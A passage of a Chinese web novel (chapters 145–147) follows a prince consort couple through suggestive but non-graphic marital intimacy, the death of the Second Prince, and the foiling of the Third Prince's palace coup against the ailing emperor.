“上回怎么?”
江曜逼问她。
可姬时语被他亲得昏头转向,早已不知自己身处何方,口里断断续续仍留的理智汇成一句话。
“上回……不够,木桶卡得我疼。”
“嗯,我知道。”
江曜再度堵住她的唇,今日他还要重蹈覆辙,与姬时语重回新婚夜的那一出。
因而便提起她柔软的身子,丢上自己身来。
他微仰头,一动不动注视着身上的姬时语,看她因他逐渐目光迷离、情愫纵生。
江曜折弯她的腰,问她道:“这回浴桶可是足够了?”
“……”
姬时语方一俯首,如花娇艳的唇瓣便被江曜含住。
薄红爬上她细腻柔白的颈,一路顺上她的眼角。
两声呜咽,珠泪滚出她漂亮的眼。
上回新婚夜,两人在浴桶,桶身个头小了些,姬时语被迫屈起双腿,弯折得不适。
膝盖也因此通红一片。
这之后江曜便命人造了一方大的,足以容纳三人的桶身。
这样一来,两人共浴便不是难事。
他也能更好亲吻她。
江曜窝上她发软的肩窝,嗅着她身上清甜的玉兰花香,迷醉的喘息。
似被他勾到,姬时语沉醉在这场幻梦之中,不自觉便将江曜抱紧了,她主动的抬起,同他索取。
“阿锁,真可爱。”
江曜很喜欢她的主动,他不再动弹,引得姬时语自主寻求欢欣。
今夜她的热情如月色之下蛊惑人的妖精,是真将江曜的神志尽数汲取殆尽。
为此,他愿意将一切都交给她。
可等到水凉了,姬时语嗓音沙哑,低低喊他:“夫君……”
她又伏趴在他耳边,红唇竟咬上他的耳,吐息之间,她又一回主动地抬起来。
江曜微感诧异,“你不累?”
若是从前,两人在水中最多胡闹一回,姬时语便会喊着要回床榻歇息。
可今夜太怪异了,她竟是纠缠着江曜不放。
怕伤害到姬时语,江曜固执地止住她,将怀里的姑娘环抱起身。
离了浴桶,便取下帕子为两人擦拭干净。
偏姬时语还在不依不饶,挂在江曜身上仍主动寻上他的薄唇,亲啄他,话音迅速消散在吻里。
“夫君……疼我。”
第145章
“怎么了?”
江曜的唇贴着姬时语的,温温柔柔地耐心哄她,“今日怎么这么娇气又缠人?”
“我一想到柳瑾柔对我下药,心口有股气郁结在哪块散不去。”
被他一问,姬时语双手双脚将他盘得更紧,低声啜泣出了声。
“我不愿有孕是一码事,可旁人插手致使我怀不上,那又是另一码事。”
“嗯。”
江曜的喉结一个滚动,引着他脖上那颗明艳的红痣晃动。
姬时语看得不悦,张口便咬上去。
咬住了他的痣。
她探出舌尖,温热的舌舔舐过江曜的喉结。
“嘶……”
江曜清冷的嗓音布满沙哑,手臂不自觉收紧了,箍紧她纤细的腰肢,“好阿锁,莫要咬。”
两人之间,不曾分离,是谁也不好过。
姬时语要江曜同自己一般饱受折磨。
那才论得公平。
“你说不咬就不咬,我要你做何事,你怎得不听我话?”
姬时语哼笑出声,故意用手指挑逗他的喉结。
江曜忙捉住她的指尖,垂下暗沉的眼。
“你再这般,我可不能作保,会怎样欺负你。”
这话甚是威吓,姬时语止住动作,她安静下来。
江曜便抱着她重回床榻,她圈住他脖子的手未放。
“江曜,柳瑾柔是要我终生不得有孕。”
“所以我才恨得想杀了她。”
“那你说,若我此生都不能怀上呢?”
姬时语随之仰躺下来,脸上反而换上一副神色认真。
江曜瞧她小脸俏丽,却皱起为这等事苦恼,不觉好笑。
他翻身而上,是要姬时语的目光只落在他的身上。
姬时语的脸再度因江曜的动作红透。
他从未想过放开她。
这是
第三回了。
江曜握住她的腰,扣着她入怀,声色冷得坚决,“非要去想这事,有何好想的?”
他还算温柔,姬时语哼哼着,是被他带入绮丽的梦,再难摆脱。
她心头有惑,偏要江曜为她解开。
“我心里难受,你得哄我!”
“我哄得你还是不满意啊。”
江曜亲上她的脸颊,柔软白
腻之感在唇间散开,他喜欢的紧,忍不住多亲了两口,“还想怎么哄?”
“你先说,可是会?”
“我说过的,孩子,我不喜欢,没有便没有,我们不生便是。”
江曜偏头,目光沉沉的,眼中唯有她,专注又深切。
被他这样缱绻温柔的眼直视着,姬时语本还气焰嚣张,顿时便不好意思脸红挪开眼。
是他今夜太温柔了,姬时语总爱胡思乱想些别的。
“你说我们已成亲半年之久,你又……日日缠着我,我的肚子却还未有动静,不会是真的?”
姬时语眼瞳微荡,她一乱想,眼神便四下乱飘,是灵动又可人。
夫妻二人床/笫之事行得可谓之多,一日便能有三回不止,姬时语总会因不耐而昏过去。
江曜亲上她,笑了出声,“阿锁忘了,我已是喝下避子汤的。”
“可避子汤岂不是也有不顶用的时候。”
“看来你是嫌弃我不够努力啊。”
“不……不是。”
姬时语被江曜亲过脸颊,又被含住耳垂,她目光一凝,眼前江曜脖上的那颗红痣来回摆动,是真被江曜温柔对待的,难以自持。
娇吟溢出口,江曜抵住她的额面,两人微喘的气息纠缠。
他问她:“你再说说是何?”
姬时语被他引_诱的吐出实话,“是哥哥,好温柔……”
“看来你喜欢另一样?喜欢我不要那么温柔?”
话音落下,姬时语便迎来呼啸的梦。
绮丽的莳花被一一折断,骤雨初席而来,零落一地的花瓣。
“如何呢?”
江曜十足耐心地亲她的唇,非要刨根问底。
“一点也不温柔,你太凶了。”
姬时语泪珠滚落,猫瞳微红,波光粼粼被欺负狠的漂亮。
江曜心知她有多口是心非,喜欢这样偏还不肯说。
不过罢了,她不说,他弄明白她的心便是。
她喜欢怎样,他都会纵容,全给予她。
……
翌日睡醒起身,温存之后,姬时语便也从江曜口中听得了来龙去脉。
江曜昨日造访二皇子府,却并未第一时见得江承德。
只因宫中命下三位御医,前来二皇子府为江承德看诊。
而长林禀报江曜,江承德卧病在榻的这几个月,病气反反复复。
新病将好,旧病又再度复发,夜里吐血不止。
他的病一经加重,宫里的太医院便再不得耽误,马不停蹄地赶来。
尽管弘文帝亦是抱恙,但听闻亲子重病,皇帝还是当即下令,命太医院院正领人迅速前往二皇子府。
那时江曜侯在外室,听见几道几不可查的叹息。
他心中已有了不好的猜想。
待几位御医接连离去,长林入内一禀,江曜才顺利与江承德碰面。
江承德仰躺于榻,面容消瘦,三个月的重病,令他孱弱的身躯已成了皮包骨头,再无人样。
望见江曜,江承德艰难调转头颅,精气神萎靡不振。
这等时候,江曜再铁石心肠,也没法当着江承德面说出重话。
“江……曜,你还欠我……一道承诺。”
江承德气息极弱,他说出这句话,江曜恍然便想起往事来。
那年姬时语被江承运胁迫去到大皇子府,他路遇楚王妃追杀,江承德带人赶到,解救他后,说过一句。
“我要你日后为我做一件事。”
如今,江承德盼望江曜信守诺言。
江曜颔首:“你说。”
“瑾瑜……和我,母妃,求你与王妃,庇护……她们。”
末了,江承德喘不上气,兀自淡笑深吸一口气,道:“替我……守好,我们江家……的江山。”
直到这时,江承德心生起一股不得言语的错觉,这天下他信得过竟会是江曜。
万千梦转,世事难料。
江曜应了。
在这一刻,江承德终于如释重负。
江曜和姬时语说:“床榻上的江承德人如枯槁,是真槁项黄馘之态,我几度怀疑他已走到了油尽灯枯的时候。”
“怎么会?”
姬时语眼瞳瞪大,有泪水经不住蓄起,“二殿下真的……”
江曜缓慢点了点头。
姬时语又问:“为何他就那般信任你我?”
江曜抬手,他抚上姬时语的额心,他的手掌顺沿她的发顶,而后直入她如绸缎浓密乌黑的青丝之中。
他爱不释手地抚摸着她的秀发,好似在这一遍遍的肌肤相触之下,方能找寻半分的慰藉。
“夫君。”
良久,姬时语的轻唤引得江曜回神,他的手复而抬起,握住了她发髻间那只金凤步摇。
“阿锁可还记得成亲时,陛下赐下的那顶五龙三凤冠。”
“嗯。”
姬时语应声后,江曜狐狸眼一眯,神情严肃道:“江承德告诉我,那只发冠只赐予历代的太子妃。”
“你……你是说?”
姬时语顿时震惊不已。
那时楚王府已为她备下一顶凤冠,然她大婚的头一日,弘文帝命曹云将五龙三凤冠亲自送到楚王府。
并将此更换为两人大婚的新娘凤冠。
夫妻二人定定互相凝望,眼中再多的平静,亦在这时显得十分不平静。
原来江承德比任何人都门清弘文帝的打算。
才会执意要江曜淌这场浑水。
姬时语听明白亦看清楚后,她心头一慌,便情不自禁扑入江曜的怀抱。
“哥哥!”
姬时语抱紧江曜,是为不见天日的昏暗而惴惴不安。
她不想江曜涉险,可眼下两人没得选。
江曜揽住姬时语,他的吻无声的落在了她的乌发间,手臂收紧时,是真想将怀中的妻子拥入血骨。
“江承德已将他的人交付给我,其中六部有三位大人,他叮嘱过,日后二皇子党行事之前会同我相商。”
江曜从不会在大事之上隐瞒姬时语,他全盘道出:“江承德还指明,皇宫的羽林军首领魏将军已成了江承北的人,这些日子江承北恐会布局。”
“江承北还是个皇子能做何事?”
“我离开二皇子府时,宫中已派下羽林军围住府邸,将二皇子府看守围困。江承北趁着陛下病重,正要迅速收拢势力。”
“陛下还活着呢,他是想造反不成!”
“柳眉没了孩子,江承北心知无法以皇孙挟陛下立储,从前陛下不立,此后怕也不会。”
姬时语满脸愤恼,“他们还真敢想!”
江曜安抚着姬时语,他十分冷静,叮嘱她道:“阿锁,得劳烦你走一趟常家,宫中我们需要内应,需得四姐夫相帮。”
“好。”
姬时语一口应了。
江曜补道:“以及,你去信转告忠义侯府还有大姐,若真有万一,恐怕还要侯府和大姐出面力压。” ”
我明白。”
姬时语知晓江曜指的是忠义侯府执掌的岭西兵权。
若无圣命,擅作主张调度回京,乃是大不逆。
但若为忠护皇权,便是忠心耿耿。
江曜握紧姬时语的手,“阿锁,多谢你。”
“我们夫妻之间,无需说谢,你我如一人,你好便是我好,我爹娘和姐姐定都想得通。”
姬时语回握他的手,倾身依偎入他怀,“江曜,你说的我都会照办,旁的,便是我们自身的安危,知道吗?”
“我同你做担保,定会护你平安。”
“不要!”
姬时语要听的才不是这话。
两人夫妻一体,她从来不愿江曜独自前行,而抛离她,即便是为了她安好。
她也不愿。
姬时语埋头在江曜胸膛,恶狠狠凶他:“你和我发誓,发誓你会平安回到我身边,此生都得陪着我,直到死去。”
“好,我发誓。”
江曜被姬时语缠得无法,他心腔之中鼓鼓囊囊的,从前嘴上说的话竟真成了真。
他多么的爱她。
“我爱你,能让我死的只有你。”
江曜亲啄她的手指,诉说满心的爱意,“所以,阿锁要陪着我,一同老去。”
第146章
近来是多事之秋,老楚王哀叹连连。
弘文帝罢朝不过几日,便宣召老楚王入宫,下旨命老楚王代国辅佐朝政。
老楚王本就是闲云散鹤的性子,这将开春,王府里菜地好不容易土地肥沃,宜栽种新菜苗,却被弘文帝一道圣旨封在宫中。
朝堂之事多为烦心,老楚王不得闲,回府时没少抱怨。
姬时语心知老楚王满心惦记着自己院中的菜地,她不忘叮嘱王府下人们,好生照看好老楚王的院子。
“祖父在宫中可还好?”
姬时语问及下朝归府的江曜。
江曜随即笑回:“除开不必要的麻烦,旁的都好。”
“不必要?”
姬时语问。
他口里的不必要之事,是江承北在朝堂冠冕堂皇与楚王府对峙,状告王府包藏歹心,趁着弘文帝病中,意图不轨。
江曜轻蔑一笑,“不过祖父手中有陛下御赐的圣旨,他代国乃是皇命,即便江承北再不愿,也得认。”
“四姐给我送来了信。”
姬时语想起来今早上萍亭呈来姬如蕊的信纸,“她问过四姐夫,乾清宫仍还是陛下的人,陛下身边的那些,应能信得过。”
“好,我再让人查。”
“我爹娘也说,万一遇事,忠义侯府会鼎力相助。”
这样一来,以备不时之需便安置妥当,两人的考量是万无一失,姬时语终能稍安心一分。
夫妻二位便谁也再未开口。
寻阳院中自姬时语搬入,已有六个月之久,时日不短,不知不觉两人竟是习惯这般安静的自处。
江曜下意识朝四周环顾一圈。
他的寻阳院本是冷清,器物极少,外室一张四方桌,内室一张紫檀木香案,便是连书架也未置办一个。
江曜独自住在此,并未觉着有何不妥。
然而同姬时语成婚之后,小姑娘没少提,说的多都是他不知多添置家具,显得家中似无人居住。
冷冷清清,没的人气。
因此姬时语便着手置办了许多物什。
外室因而多了山水纹香几,几把扶手椅,还有一张竹编藤椅,午后闲来姬时语便搬去院中晃荡小憩。
内室更是光华夺目,书案之上文房四宝整齐满当,书架也安置在旁。
姬时语还搬出一张多宝阁,美其名曰要放置她那些个话本子。
书案两边各有一架琉璃宫灯,夜里点上,屋中骤然敞亮。
江曜留心几眼,便见在书案的角上,正摆着一对栩栩如生的玉雕,是两方小人儿。
一位小姑娘手牵丝绳,她身后而立的小少年为她捉着风筝。
两人嬉闹的模样,被印刻于光滑的玉石。
江曜眯起眼,他还是头一回见此物,便问姬时语:“这是谁送来的?”
杜南霜送的福娃娃,江曜早便见过,而姬合英、曾宝仪与央金的添礼之中,并未有这只玉雕。
若说旁人,能给姬时语添妆的。
江曜眼底霎时闪动起一股冷寒,他脑中蹦出两个人。
于策安和沈南怀。
江曜问:“是于策安还是沈南怀?”
姬时语没有多想,直回他:“是于策安送来的,他……”
说出口的话只到一半,腰肢已被江曜掐住,她人被拽入他的胸膛,牢牢锁进干净的气息之中。
江曜捧起她的脸,几乎是满腹吃味地吻上她的朱唇,急不可耐。
他托起她的腰,固执地将人缠紧。
一只手的五根手指皆插入姬时语的发,与她柔滑的发丝一同落于她玉色的耳上。
江曜将姬时语染成了粉。
“你……你怎么又……”
姬时语还想拉开身子,问话刚启唇,唇瓣便又被堵上。
只是这么亲着,江曜尤不满足,他难耐地磨着她,唇齿间有微冷的话一个字一个字地蹦出。
“阿锁,于策安为何要送你玉雕?他想你婚后仍记着他!”
江曜陷入沉思,他放开姬时语的唇,眸中暗色微沉。
那种无声的疯意刚涌起,便被姬时语一眼捕捉。
江曜掐着她腰的手在收紧,隐隐有股不稳,“阿锁,你告诉我,可是……”
想也未想,姬时语便环抱住他的脖子,她朝下一拉,江曜的头颅便近在咫尺。
“瞎说什么呢?他是为祝贺你我新婚,你没发现雕刻的人儿是我们二人?”
江曜有些怔愣。
姬时语踮脚覆上他的薄唇,方才两人吻得热切,换到她时,江曜兀自走了神。
她便无师自通地亲他。
比不得江曜的热烈,姬时语总是温柔至极,她喜欢鼓鼓唇瓣,抿着亲他。
便也因此,不会启唇让两人纠缠。
“阿锁。”
玉兰香气浸入鼻息,江曜被勾得心口甜腻,扣住姬时语的脑袋,被再度反客为主。
她在他怀中被亲得满脸霞色。
江曜俯首轻吻姬时语微红的脸颊,薄唇又亲上她的眼,他低笑厮磨她的耳朵,说道:“我们回屋去。”
姬时语还未应,整个人便已被江曜抱起。
这么一仰首,便见屋外灿光明媚。
还是大白日,姬时语当即不愿意了,拍打江曜让她放自己下来。
“不行!还没入夜,这叫什么……这叫白日宣……”
“白日便白日,有何不可?”
“江曜!”
江曜耐着性子蹭她柔软的脸蛋,姬时语气不起来。
反倒是小脸滚烫,哪里生起热气,哪里便被得江曜的一吻。
他握着她的手,放于自己衣袍之上的玉带,眼眸幽暗,蛊惑她。
“阿锁,你来替我解开。”
“不要……”
闻言,江曜便又是一声轻笑,声色低哑。
不出预料的,姬时语的手根本不听她的使唤,她嘴里道着不要,转而却已将他的腰带抽离。
江曜狐狸眼一垂,欢喜的不行,“方才喊声不小,可得留点力气,过会儿……”
姬时语已飞快捂住他的嘴,她眼睫眨动的厉害,万分羞怯,“不准说。”
“那不说。”
江曜不语,只是一味亲力而为。
今日虽是晴空万里,寻阳院当值的下人们便无一人敢靠近屋门。
灵犀和巧儿十分有眼力见,主子们入了内室,便当即贴心的闭合起了隔扇门。
里头隐隐约约有笑声和啜泣声交织。
江曜还在问:“喜欢这样?还是那样?”
姬时语只觉得自己被翻了个面,再又翻动过来,真如砧板上的鱼肉,而江曜便是那刀俎。
她任他处置。
可不论是哪一样,江曜总是很懂她,她说不要也是多为羞恼,并非真的不适。
江曜便故意使坏心,要她坦诚出言,不若便会止住,让她更为恼火。
姬时语只顾着哭泣,埋头于绣花枕。
她才不要看他。
也不要说那等羞人的话!
……
寻阳院的闭门,直至黄昏。
灵犀和巧儿在外候着许久,萍亭、萍柳是早已习以为常,两人便早早寻了事由,去清扫院外的落叶。
隔扇门被推开时,江曜使唤门前的丫鬟,“去换水。”
灵犀与巧儿应后,便步入了浴房。
待清洗罢了,姬时语才在江曜怀中幽幽转醒。
她猫瞳朦胧,迷蒙睁开,江曜的亲吻却先落于她的额头。
身上爽利不少,姬时语知晓江曜已是抱她沐浴过,只是腰上仍感虚软,她哼着闭起眼眸。
“好累啊……”
姬时语蹭蹭江曜的颈,她一贴过来,江曜的手掌便握上了她的腰。
是为让她好受些,温热的掌心在她腰窝轻缓的揉。
夫妻床/笫之间,每回行过房_事,被江曜温柔的对待,姬时语很喜欢这样的温存。
会让她觉得江曜是真切的爱着她。
姬时语便依偎的更紧,舒服的直哼哼。
好半晌,也不知思绪飞去了哪地,姬时语喃喃低语:“哥哥,前世你与三皇子仇怨颇大,可也是因为一样的缘由啊?”
“我不知。”
抚着她的手一顿,江曜低沉的话音在她发顶。
“若要我想,八成还是因三皇子党的赶尽杀绝。前世你都知道些什么,事关我的?”
“嗯……前世你是被表姐柳眉寻回,认祖归宗后很快便当上楚王世子,而后来有人撞见你寻见柳眉,流言蜚语就此传开。”
姬时语靠在江曜的胸前,忆起前世往事,“我听南霜说,外人都以为你早与柳眉有瓜葛,谣言愈演愈烈,止不住。”
“是以你才写了那样的话本?”
江曜察觉怀中娇躯一僵,姬时语干巴巴应:“是,那事是我不对。”
“我没怪你,你亦是不知情,算是无心之举。我可以确信,前世的我对柳眉无意。”
江曜的声音平稳安定,“柳眉这辈子要杀我,向三皇子求荣,你觉着前世她和安国公府便不会?”
姬时语思忖,好似真有这回事。
“胡氏与三皇子党是一丘之貉,我又怎会顺从江承北。”
江曜冷笑,江承北心思狭隘,比江承运难对付的多,“除掉我,反而是他们最好的法子。”
“那为何柳眉还要送你回京?”
“这事只有一个可能。”
江曜言辞凿凿,“她事先并不知我是楚王的儿子。”
姬时语哑口无言。
江曜如此笃定,不止是信他自己,更是看清楚了三皇子党的嘴脸。
若是柳眉早知如此,怕前世会甘愿江曜死在乡野,永世不得回京。
江曜见姬时语不说话,他凑过来啄她微红的耳垂。
方才两人恩_爱,她趴于榻上直喊,江曜边亲着她的耳朵,嘴上温柔,旁的凶狠。
江曜问她,“那前世阿锁怎样看待我?”
姬时语一个激灵,她环抱江曜的脖子,娇笑道:“夫君,非要刨根问底吗?”
“罢了,我知道你怕我,若我不强求,你不会心悦于我。”
江曜说的冷漠不在乎,可姬时语还是莫名的心疼。
有些事她不得辩驳,但事己至此,她愿意用这一生去爱他。
“不会的,若多给你我一些时日,我还是会心悦你。”
姬时语主动亲上他的唇,柔声哄他:“这一世我会喜欢你,前世的我亦会。”
“嗯。”
江曜的计谋得逞,故意隐去眼中的暗光,浮起笑意。
只要姬时语仍在他身边,万事他皆无所畏惧。
他不知道前世的自己究竟何想。
但他只信一件事。
若遇不见姬时语,他不会爱上任何一人。
前世今生两辈子,他注定只会喜欢她。【你现在阅读的是 】
【全文完结】
第147章
五月的初六,阴云密布。
夜中姬时语仍在熟睡,感觉身边一动,迷糊地眯开一条缝,见江曜已是爬起身穿戴衣衫,她揉眼撑坐起。
“哥哥,你要去哪?”
姬时语还未苏醒,只凭着本能依恋地挂上江曜的后背,像没骨头似得柔软。
江曜亦舍不得温香软玉,但又不愿惊动她熟睡,回身将人抱放回被褥中。
他轻声哄道:“还早,我出去办事,你再睡会儿。”
“那你早些回来。”
姬时语扬起脑袋,嘴唇朝他凑来。
江曜依依不舍地亲吻了她。
而后他为姬时语掖好被子,轻手轻脚步出内室。
姬时语戌时才睡醒过来,手边已是一片冰凉,她喊来萍亭问话。
萍亭回到:“昨日夤夜王爷便匆忙离府了。”
“祖父呢?”
灵犀跟道:“老王爷还未出宫。”
也不知怎么的,姬时语的心跟被堵住似得,上气不接下气。
连带早膳她也无胃口进食,只用罢几口便让人收拾了下去。
姬时语再度折回内室的美人榻,她同灵犀留下一句,“若王爷归府,知会我一声。”
“是,娘娘。”
灵犀应答。
院外的天阴气沉沉,萍亭与萍柳留待屋门外,两人抬头瞧了一眼天,俱是叹息起来。
时至午时,也没等来天晴的那一刻。
萍亭冷不丁冒出一句:“天不降雨,是有要事要生了。”
灵犀飞快朝她觑眼。
寻阳院外,方才出院去厨房备午膳的巧儿已是折回,着急忙慌地喊着:“快去寻王妃,出大事了!”
“怎么了这是?”萍柳问。
萍亭已赶忙推门而入,去内室寻姬时语。
“王妃!”
姬时语正立在香案旁,愣愣注视着两尊玉雕,听见声动,她偏头望来,萍亭出声禀报:“太傅府的柳大小姐求见。”
“让她进来。”
闻声人未至,柳瑾瑜的痛哭声已闯入寻阳院。
巧儿搀扶着她在正堂落座,灵犀又端来热水和巾帕,候着她擦洗。
“柳大小姐。”
“王妃娘娘,二殿下,二殿下……”
柳瑾瑜扑倒在四方桌上,嚎啕大哭,声色凄惨。
姬时语秀眉蹙起,她嘴唇蠕动,一种不祥的兆头顿上她的心头。
“二殿下他?”
柳瑾瑜哀恸摇头,哭得肝肠俱裂,“二殿下昨夜……殁了。”
无力之感迅速充斥于姬时语的五脏六腑,致使双手颤栗。
江承德竟是昨夜身死了!
原来江曜夜半起身,是因二皇子府传来信,迫使他急切赶去府上。
姬时语心痛到难言,三位皇子之中,她唯对江承德好感如初。
若要择储君,她真心情愿是江承德荣登大宝。
可是老天爷便是如此不公!
江承德大限将至,任何人都留不住他。
而眼前的柳瑾瑜,已哭成了泪人,与心爱之人天人永隔,她此生想嫁于江承德的心愿,再不得成真。
“柳大小姐,节哀。”
姬时语不禁眼中湿润,她微有哽咽,劝道:“二殿下定不愿看你如此痛心折磨,他的心中定盼着你日后能安好。”
“我问过他的,我问过的……”
柳瑾瑜摇头道:“那日我问他,若他康健,可愿意娶我为妻……他没有应我。”
“不是的。”
姬时语于心不忍,还是将自己所知告知于她,“王爷同我说,二殿下曾衷心嘱托他要照料你,我想他只是背负太多,不能够让你知情。”
“怎么会这样,为什么我和表哥就不能……”
柳瑾瑜眼中的泪水潸潸落下,她的双肩颤抖着,痛苦已将她压垮。
姬时语不知怎么才能宽慰她,她在旁坐下,又让灵犀过水润了帕子,为柳瑾瑜擦脸。
“擦擦脸,你心中痛楚难消,先留在我这儿吧,我让人给太傅府去信。”
“王妃,多谢你。”
柳瑾瑜真心感谢姬时语:“若不是你,我不知自己还能去哪儿。”
她不想留在太傅府,整个京城无人能懂她的心意,连她的爹娘,柳大人夫妻亦是不解。
他们几番逼迫柳瑾瑜出嫁,让她忘却柳贵妃的话,只当那是无心之言。
可柳瑾瑜做不到。
而柳瑾瑜一经得到消息,哀大莫过于心死,便要逃离太傅府。
她知道姬时语不会厌嫌她,京中唯有楚王府,楚王妃的身边,是她能去的地方。
姬时语亦有一个念头。
她与江曜夫妻一体,江曜既应承江承德,要庇护柳瑾瑜的安危,她便不能让人有半点差错。
眼下江承德身死,姬时语不免担忧起江曜来。
二皇子一朝陨落,皇宫还不知会掀起怎样的风雨。
姬时语再坐不住,起身便唤出宁心、宁乐,让两人去寻林二。
很快,三位暗卫在姬时语跟前站定。
姬时语道:“我需要你们分头行动,为我办件事。”
三人齐齐点头。
“宁乐去忠义侯府,寻我娘,请她派人即刻寻找我爹,王爷恐需要我爹的相助。”
宁乐应好。
“宁心去常家,寻见我四姐。林二则去找王爷,将府上一众事宜告知他,京中有准备,王府同样需要戒备。”
三人得令,便一溜烟隐入暗中。
姬时语定定目送三人离去,回身之时,萍亭与萍柳皆作担忧状陪在她身边。
见此情形,她蓦地绽开笑来。
“王妃。”
几人齐齐喊。
“是了,我们也得准备完全,不能坐以待毙。”
姬时语吩咐下去,“萍亭、萍柳,你们去库房找我的陪嫁,我要爹为我制的那把金线软弓。”
“是。”
两个丫鬟匆匆离院。
不到一刻钟,林二率先折返,他神情肃穆,一个落地站定,复而起身冲姬时语摇了脑袋。
姬时语蹙眉问:“如何了?”
林二掏出一张纸来,歪歪扭扭地落笔写字。
他说:“京中已封城,街道布防严控,全是羽林军的人。”
“是三皇子!”姬时语大惊。
林二点点头,他立马飞快写下。
“王爷有命,属下等需得护王妃平安。”
这意思便是为着府外险境,林二绝不能离开姬时语半步,他得了死命令,得候在王妃身侧。
姬时语心知事态严峻,并不追问,只是应:“好,那你归位吧。”
林二退离了。
待萍亭与萍柳折返,宁心和宁乐刚巧回院,见两人一人呈抱弓箭,一人背着箭篓,多瞧了两眼。
姬时语接下金线长弓,在手中撑开,微拉弓弦。
弓箭抖落些许灰尘,弓再度开张,有了回弹的力道。
“很好。”
姬时语极其满意。
“王妃,侯府已得了信。”
宁乐则禀报其探查所见,“听说二殿下殁后,京中四传是三皇子早前围守二皇子府,致使御医受阻,没能及时救回二殿下。”
姬时语目光闪烁。
“如今二皇子府被官兵围困,闲杂人等不得靠近,三皇子在封人言口。”
姬时语柔软面上冷光拂过,“宫中只会更凶多吉少。”
……
阴云之下,朱红的宫墙在宫中延绵不绝,陇上昏沉的暗红。
一条甬道直通乾清宫,数多宫俾朝宫门口快步飞奔。
乾清宫中,明黄的身影倒躺于龙榻,弘文帝微弱的咳嗽着。
多日不见,皇帝竟一夜之间如同衰老了十岁,垂垂老矣。
“陛下,该是时候吃药了。”
小太监端着药碗来到床边,恭敬地躬身下来,作势要侍奉弘文帝吃药。
弘文帝乍然有一刹的清醒,浑浊的龙目瞪过来,他冷声问:“你……是哪个宫伺候的?”
小太监不慌不忙接话:“是曹公公吩咐小的。”
弘文帝便未起疑心,命他盛药来。
小太监执起汤勺便要喂入皇帝口中,突然在这个时候,殿门被人大力推开,冷风虎啸灌入。
曹云一把扑入内,踹翻了小太监手里的那只瓷碗。
“该死的东西!你胆敢谋害陛下!”
前头曹云才为着弘文帝的命令离了宫,后脚被收到江曜派人递来的密信。
江承德已死,弘文帝还未知此事。
这招调虎离山之计,怕要歹害弘文帝。
江曜告诉曹云,不得离开弘文帝身边半步,眼下皇帝的安危乃是重中之重。
曹云一路狂奔,竟真撞破不知打哪儿来的太监欲对弘文帝下毒手。
“陛下,这人不是杂家的人,他怕是要对陛下不利!”
弘文帝剧烈地咳嗽,满目怒意,“抓,抓了他,朕要……问罪!”
小太监见事情败露,迅速抓起地上散落的瓷碗碎片,一刀插入自己的脖颈。
鲜血四溅,曹云忙往后退,便见小太监浑身抖动,直愣愣栽倒在地。
不肖一刻,便没了生息。
“这,这……”
殿中这一幕看得曹云惊魂未定。
太和殿鲜血密布,弘文帝瞪着一双眼,目光未动,凝在那摊血渍之上。
良久,弘文帝苍老的声音响起,“朕要你去办的事呢?”
“陛下,二殿下他……”
曹云的话未说完,便被一道突兀的笑声打断。
“父皇啊,二皇兄已是在府上殁了。”
江承北高束紫金发冠,一身皇子蟒袍,他张狂的笑着,大步入殿。
再见得殿中小太监的尸身后,竟直挺挺越过那具尸体,迈着大步,径直来到弘文帝的龙床前。
“咳咳咳。”
弘文帝的咳嗽声不止,他指着江承北,手指颤抖,“你……”
“父皇又要骂儿臣不孝子?这话儿臣可不爱听,早年听罢了二十年,父皇今时该改口了。”
“来人!来人!”
弘文帝怒吼。
可吼叫声回荡在空落落的太和殿,殿中唯有跪地的曹云,再无第二人进殿护驾。
“父皇,死心吧。”
江承北双手背立,是胸有成竹,“宫中的禁卫军已尽数我手,太和殿不会有任何人赶来护驾。”
“你,你竟敢……谋反!”
面对弘文帝的怒意,江承北并无所谓。
龙床之上他伟岸的父皇早已衰老,而今是一条垂死挣扎的龙。
江承北只是怜悯地垂眼,“父皇,儿臣不是谋反,是拨乱反正。”
弘文帝被气得猛烈咳嗽,面红怒骂,“好!好一个拨乱反正。”
“父皇迟迟不愿立储,那儿臣便替你来写这道传位的圣旨。”
江承北从袖中抽出一张早已写好的传位圣旨,这道明黄圣旨只差一个皇帝印章,便会成为正统。
“来吧父皇,让儿臣接手,您不会失望的。”
江承北在逼问弘文帝,将玉玺藏匿在了何处。
弘文帝冷哼,“逆子,你休想。”
“父皇,你在逼儿臣弑君。”
江承北怒气勃发,满脸阴鸷。
“父皇,从前你便看不上我,不论我怎样费尽苦心参与朝政,无一能令你满意。为何?凭什么?江承运那个废物,他也配当上储君,我不服!”
弘文帝还是那句话,“朕便是死了,你也休想。”
这句话彻底燃起江承北的恨意,他在殿中踱步,终下定了决心,“好!既然你不愿,那我就凭本事荣登大宝,来人呐!”
一声“来人”,曹云紧张地瞩目。
良久,殿外竟仍静悄悄的。
江承北怒吼:“来人啊!人呢?羽林军首领魏云飞!”
无人应答。
而后,一道颀长微暗的身影悄然入了殿。
江曜一身墨袍劲装,双臂手腕绑好护腕,腰间那把寒光长刀执在手边,他冷漠的步入殿,刀柄之上那颗绿宝石幽光乍现。
江承北不敢置信,“江曜!”
“喊什么?”
江曜掀开狐狸眼,阴沉沉的凝望过来,“你的人不会来了。”
“什么!你怎会在这里?我的人呢?你怎么可能一举拿下我那么多人!”
“岭西三万将士已调度回京,如今便驻守在城门外,等候发落。一旦城中起乱,便入城平定。其中五千人先行入城,配合宫中我领的五军都督府,捉拿羽林军叛乱之党。”
江曜每说一个字,江承北的脸色便灰败一分。
待最后一个字落完,江曜朝弘文帝躬身行礼,“臣江曜,听从陛下圣命。”
“做得好,楚王。”
弘文帝那张愠怒的脸,终在江曜到来之时有了笑意。
“三皇子谋逆弑君,来人呐,给朕捉拿,压入大牢!”
江承北慌不择路还想逃跑,江曜已是飞身一跃,拔刀执于他的脖上。
刀不长眼,鲜血横流。
江承北放声惨叫。
太和殿外,一众锦衣卫登时入殿,擒住江承北双臂,扣押摁下他。
江曜薄唇微启,凉薄睨江承北:“这招瓮中捉鳖,如何?”
“你早命人递去密信,让我以为你们不知部署,待我松懈,再捉拿我?我不服,哈哈哈,我怎会甘心?”
弘文帝早知江承德已殁,故意装出一副悲痛愤怒,便是为了混淆江承北,为江曜布局拖延时辰。
江承北见事已败,却朝江曜哈哈大笑起来。
“江曜,你不会以为我只算计宫中吧?你真以为是我输了,你赢了吗?我知你有软肋,如今你分身乏术,而你的王妃姬时语,她要是死了,那我也值了,哈哈哈哈……”
江曜脸色一寒,闪身飞离太和殿。
……
楚王府,姬时语陪同柳瑾瑜用过午膳,便吩咐灵犀伺候柳瑾瑜歇下。
